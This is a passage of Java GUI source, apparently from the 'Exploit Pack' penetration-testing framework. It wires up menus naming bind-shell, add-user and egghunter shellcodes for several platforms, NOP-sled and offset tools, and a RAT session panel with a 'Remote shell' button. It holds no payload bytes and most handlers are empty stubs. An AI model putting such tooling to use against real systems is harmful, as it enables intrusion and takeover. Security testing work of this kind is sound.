        jMenu8.setText("Exploit Dev");

        jMenu9.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/scriptgreen.png"))); // NOI18N
        jMenu9.setText("Shellcodes");

        jMenu10.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/windowslogo.png"))); // NOI18N
        jMenu10.setText("Windows");

        jMenuItem25.setText("x86.w32.adduser");
        jMenuItem25.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem25ActionPerformed(evt);
            }
        });
        jMenu10.add(jMenuItem25);

        jMenuItem26.setText("x86.w32.tcp4444");
        jMenuItem26.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem26ActionPerformed(evt);
            }
        });
        jMenu10.add(jMenuItem26);

        jMenuItem27.setText("x86.w32.cmd");
        jMenuItem27.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem27ActionPerformed(evt);
            }
        });
        jMenu10.add(jMenuItem27);

        jMenuItem28.setText("x86.w32.egghunter");
        jMenuItem28.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem28ActionPerformed(evt);
            }
        });
        jMenu10.add(jMenuItem28);

        jMenuItem29.setText("x86.w32.msg");
        jMenuItem29.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem29ActionPerformed(evt);
            }
        });
        jMenu10.add(jMenuItem29);

        jMenu9.add(jMenu10);

        jMenu12.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/linuxlogo.png"))); // NOI18N
        jMenu12.setText("GNU/Linux");

        jMenuItem30.setText("x86.linux.bind4444");
        jMenuItem30.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem30ActionPerformed(evt);
            }
        });
        jMenu12.add(jMenuItem30);

        jMenuItem31.setText("x86.linux.adduser");
        jMenuItem31.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem31ActionPerformed(evt);
            }
        });
        jMenu12.add(jMenuItem31);

        jMenuItem32.setText("x86.linux.bindsh");
        jMenuItem32.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem32ActionPerformed(evt);
            }
        });
        jMenu12.add(jMenuItem32);

        jMenu9.add(jMenu12);

        jMenu13.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/bsdlogo.png"))); // NOI18N
        jMenu13.setText("BSD");

        jMenuItem33.setText("x86.bsd.bind4444");
        jMenuItem33.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem33ActionPerformed(evt);
            }
        });
        jMenu13.add(jMenuItem33);

        jMenuItem34.setText("x86.bsd.suidsh");
        jMenuItem34.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem34ActionPerformed(evt);
            }
        });
        jMenu13.add(jMenuItem34);

        jMenu9.add(jMenu13);

        jMenu14.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/maclogo.png"))); // NOI18N
        jMenu14.setText("Mac OSX");

        jMenuItem35.setText("x86.osx.bind4444");
        jMenuItem35.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem35ActionPerformed(evt);
            }
        });
        jMenu14.add(jMenuItem35);

        jMenuItem36.setText("x86.osx.adduser");
        jMenuItem36.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem36ActionPerformed(evt);
            }
        });
        jMenu14.add(jMenuItem36);

        jMenuItem37.setText("x86.osx.bindsh");
        jMenuItem37.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem37ActionPerformed(evt);
            }
        });
        jMenu14.add(jMenuItem37);

        jMenuItem38.setText("x86.osx.reboot");
        jMenuItem38.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem38ActionPerformed(evt);
            }
        });
        jMenu14.add(jMenuItem38);

        jMenu9.add(jMenu14);

        jMenu8.add(jMenu9);
        jMenu8.add(jSeparator26);

        jMenu15.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/opcode.png"))); // NOI18N
        jMenu15.setText("Junk code");

        jMenuItem39.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png"))); // NOI18N
        jMenuItem39.setText("NOPsled x90");
        jMenuItem39.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem39ActionPerformed(evt);
            }
        });
        jMenu15.add(jMenuItem39);

        jMenuItem40.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png"))); // NOI18N
        jMenuItem40.setText("NOPsled x60");
        jMenuItem40.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem40ActionPerformed(evt);
            }
        });
        jMenu15.add(jMenuItem40);

        jMenuItem41.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png"))); // NOI18N
        jMenuItem41.setText("A's x41");
        jMenuItem41.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem41ActionPerformed(evt);
            }
        });
        jMenu15.add(jMenuItem41);

        jMenuItem42.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png"))); // NOI18N
        jMenuItem42.setText("B's x42");
        jMenuItem42.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem42ActionPerformed(evt);
            }
        });
        jMenu15.add(jMenuItem42);

        jMenu8.add(jMenu15);

        jMenu18.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/shellcodescript.png"))); // NOI18N
        jMenu18.setText("Pattern");

        jMenuItem65.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418844177_notepad_(edit)_16x16.gif"))); // NOI18N
        jMenuItem65.setText("Add pattern");
        jMenuItem65.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem65ActionPerformed(evt);
            }
        });
        jMenu18.add(jMenuItem65);

        jMenuItem66.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1421275146_10_Search_16x16.png"))); // NOI18N
        jMenuItem66.setText("Check offset");
        jMenuItem66.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem66ActionPerformed(evt);
            }
        });
        jMenu18.add(jMenuItem66);

        jMenu8.add(jMenu18);

        jMenuBar1.add(jMenu8);

        jMenu11.setText("Websites");

        jMenuItem50.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_T, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem50.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png"))); // NOI18N
        jMenuItem50.setText("Exploit Pack");
        jMenuItem50.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem50ActionPerformed(evt);
            }
        });
        jMenu11.add(jMenuItem50);
        jMenu11.add(jSeparator31);

        jMenuItem51.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_M, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem51.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png"))); // NOI18N
        jMenuItem51.setText("Corelan Team");
        jMenuItem51.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem51ActionPerformed(evt);
            }
        });
        jMenu11.add(jMenuItem51);
        jMenu11.add(jSeparator32);

        jMenuItem52.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem52.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png"))); // NOI18N
        jMenuItem52.setText("Exploit - DB");
        jMenuItem52.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem52ActionPerformed(evt);
            }
        });
        jMenu11.add(jMenuItem52);
        jMenu11.add(jSeparator33);

        jMenuItem53.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem53.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png"))); // NOI18N
        jMenuItem53.setText("Security Focus");
        jMenuItem53.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem53ActionPerformed(evt);
            }
        });
        jMenu11.add(jMenuItem53);
        jMenu11.add(jSeparator34);

        jMenuItem54.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem54.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png"))); // NOI18N
        jMenuItem54.setText("Full Disclosure");
        jMenuItem54.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem54ActionPerformed(evt);
            }
        });
        jMenu11.add(jMenuItem54);
        jMenu11.add(jSeparator59);

        jMenuItem71.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem71.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png"))); // NOI18N
        jMenuItem71.setText("Black-Arch Linux");
        jMenuItem71.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem71ActionPerformed(evt);
            }
        });
        jMenu11.add(jMenuItem71);

        jMenuBar1.add(jMenu11);

        jMenu16.setText("Practice CTF");

        jMenuItem56.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_T, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem56.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png"))); // NOI18N
        jMenuItem56.setText("Pwnable.TW");
        jMenuItem56.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem56ActionPerformed(evt);
            }
        });
        jMenu16.add(jMenuItem56);
        jMenu16.add(jSeparator55);

        jMenuItem64.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_M, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem64.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png"))); // NOI18N
        jMenuItem64.setText("Pico CTF");
        jMenuItem64.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem64ActionPerformed(evt);
            }
        });
        jMenu16.add(jMenuItem64);
        jMenu16.add(jSeparator56);

        jMenuItem68.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem68.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png"))); // NOI18N
        jMenuItem68.setText("Vuln HUB");
        jMenuItem68.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem68ActionPerformed(evt);
            }
        });
        jMenu16.add(jMenuItem68);
        jMenu16.add(jSeparator57);

        jMenuItem69.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem69.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png"))); // NOI18N
        jMenuItem69.setText("ReversingKR");
        jMenuItem69.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem69ActionPerformed(evt);
            }
        });
        jMenu16.add(jMenuItem69);

        jMenuBar1.add(jMenu16);

        jMenu7.setText("Help");

        jMenuItem19.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_H, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem19.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/users.png"))); // NOI18N
        jMenuItem19.setText("Support tickets");
        jMenuItem19.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem19ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem19);
        jMenu7.add(jSeparator36);

        jMenuItem57.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_H, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem57.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1408642562_Help_Circle_Blue.png"))); // NOI18N
        jMenuItem57.setText("Getting started");
        jMenuItem57.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem57ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem57);

        jMenuItem20.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_B, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.SHIFT_MASK));
        jMenuItem20.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1408642791_internet-group-chat.png"))); // NOI18N
        jMenuItem20.setText("Online Exploit Pack Manual");
        jMenuItem20.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem20ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem20);
        jMenu7.add(jSeparator19);

        jMenuItem21.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/checkupdate.png"))); // NOI18N
        jMenuItem21.setText("Update manager");
        jMenuItem21.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem21ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem21);
        jMenu7.add(jSeparator21);

        jMenuItem23.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/registerkey.png"))); // NOI18N
        jMenuItem23.setText("Register your copy");
        jMenuItem23.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem23ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem23);
        jMenu7.add(jSeparator20);

        jMenuItem43.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134599_chart_bar.png"))); // NOI18N
        jMenuItem43.setText("View log");
        jMenuItem43.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem43ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem43);
        jMenu7.add(jSeparator27);

        jMenuItem24.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_H, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem24.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/buglittle.png"))); // NOI18N
        jMenuItem24.setText("About Exploit Pack");
        jMenuItem24.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem24ActionPerformed(evt);
            }
        });
        jMenu7.add(jMenuItem24);

        jMenuBar1.add(jMenu7);

        setJMenuBar(jMenuBar1);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                    .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jButtonExecution, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jPanel21, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jPanel22, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addComponent(jTabbedPane1)
                            .addComponent(jPanel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                        .addContainerGap())
                    .addComponent(jTabbedPane, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)))
            .addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButtonExecution, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(10, 10, 10))
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jTabbedPane)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                            .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                                .addComponent(jPanel22, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addComponent(jPanel21, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                            .addGroup(layout.createSequentialGroup()
                                .addComponent(jTabbedPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 151, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(0, 0, 0)
                                .addComponent(jPanel5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
                        .addContainerGap())))
        );

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void jMenuItem2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem2ActionPerformed
        // TODO add your handling code here:
        NewProject.main(null);
    }//GEN-LAST:event_jMenuItem2ActionPerformed

    private void jMenuItem6ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem6ActionPerformed
        // TODO add your handling code here:
        ShellWizard.main(null);
    }//GEN-LAST:event_jMenuItem6ActionPerformed

    private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem1ActionPerformed
        // TODO add your handling code here:
        System.exit(0);
    }//GEN-LAST:event_jMenuItem1ActionPerformed

    private void jMenuItem10ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem10ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem10ActionPerformed

    private void jMenuItem44ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem44ActionPerformed
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            return;
        }
        AutoPwn.main(null);
    }//GEN-LAST:event_jMenuItem44ActionPerformed

    private void jMenuItem18ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem18ActionPerformed
        // TODO add your handling code here:
        UpdateManager.main(null);
    }//GEN-LAST:event_jMenuItem18ActionPerformed

    private void jMenuItem25ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem25ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem25ActionPerformed

    private void jMenuItem26ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem26ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem26ActionPerformed

    private void jMenuItem27ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem27ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem27ActionPerformed

    private void jMenuItem28ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem28ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem28ActionPerformed

    private void jMenuItem29ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem29ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem29ActionPerformed

    private void jMenuItem30ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem30ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem30ActionPerformed

    private void jMenuItem31ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem31ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem31ActionPerformed

    private void jMenuItem32ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem32ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem32ActionPerformed

    private void jMenuItem33ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem33ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem33ActionPerformed

    private void jMenuItem34ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem34ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem34ActionPerformed

    private void jMenuItem35ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem35ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem35ActionPerformed

    private void jMenuItem36ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem36ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem36ActionPerformed

    private void jMenuItem37ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem37ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem37ActionPerformed

    private void jMenuItem38ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem38ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem38ActionPerformed

    private void jMenuItem39ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem39ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem39ActionPerformed

    private void jMenuItem40ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem40ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem40ActionPerformed

    private void jMenuItem41ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem41ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem41ActionPerformed

    private void jMenuItem42ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem42ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jMenuItem42ActionPerformed

    private void jMenuItem19ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem19ActionPerformed
        // TODO add your handling code here:
        String url = "https://exploitpack.freshdesk.com/support/home";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem19ActionPerformed

    private void jMenuItem20ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem20ActionPerformed
        // TODO add your handling code here:
        String url = "https://juansacco.gitbooks.io/exploitpack/content/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem20ActionPerformed

    private void jMenuItem21ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem21ActionPerformed
        // TODO add your handling code here:
        UpdateManager.main(null);
    }//GEN-LAST:event_jMenuItem21ActionPerformed

    private void jMenuItem23ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem23ActionPerformed
        // TODO add your handling code here:
        RegisterForm.main(null);
    }//GEN-LAST:event_jMenuItem23ActionPerformed

    private void jMenuItem43ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem43ActionPerformed
        // TODO add your handling code here:
        ViewLog.main(null);
    }//GEN-LAST:event_jMenuItem43ActionPerformed

    private void jMenuItem24ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem24ActionPerformed
        // TODO add your handling code here:
        About.main(null);
    }//GEN-LAST:event_jMenuItem24ActionPerformed

    private void jTreeRATMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTreeRATMouseClicked
        // TODO add your handling code here:
        //jButtonExecution.setText("Save & Send to shell");
    }//GEN-LAST:event_jTreeRATMouseClicked

    private void jTreeRATValueChanged(javax.swing.event.TreeSelectionEvent evt) {//GEN-FIRST:event_jTreeRATValueChanged
        // TODO add your handling code here:
        try {
            String ExploitSelection = evt.getPath().getPath()[2].toString();
            // Check if the selected item is a RAT session
            jButtonExecution.setText("Remote shell");
            jTextFieldTargetH.setText(ExploitSelection);

            // QuickInformation
            ExploitSelection = ExploitSelection.concat(".xml");

            // Clean QuickInformation
            jTextAreaQuickInfo.setText("");

            // Start de la clase main de XMLTreenode
            NewXMLNode.main(null, ExploitSelection);
            jTextAreaQuickInfo.append("Shell Session name: "
                    + NewXMLNode.ExploitName + "\n");
            jTextAreaQuickInfo.append("Owner: "
                    + NewXMLNode.Author + "\n");
            jTextAreaQuickInfo.append("Session type: "
                    + NewXMLNode.ExploitType + "\n");
            jTextAreaQuickInfo.append("Last connection: "
                    + NewXMLNode.Vulnerability + "\n");
            jTextAreaQuickInfo.append("Creation date: "
                    + NewXMLNode.Date);
            jTextAreaQuickInfo.append(NewXMLNode.Information);
            jTextAreaQuickInfo.setCaretPosition(0);

            // Set new instance of exploit
            exploit.setModuleName(NewXMLNode.ExploitName);
            exploit.setCodeName(NewXMLNode.CodeName);
            exploit.setType(NewXMLNode.ExploitType);
            exploit.setPlatform(NewXMLNode.Platform);
            exploit.setService(NewXMLNode.Service);
            exploit.setShellcodePort(NewXMLNode.ShellPort);
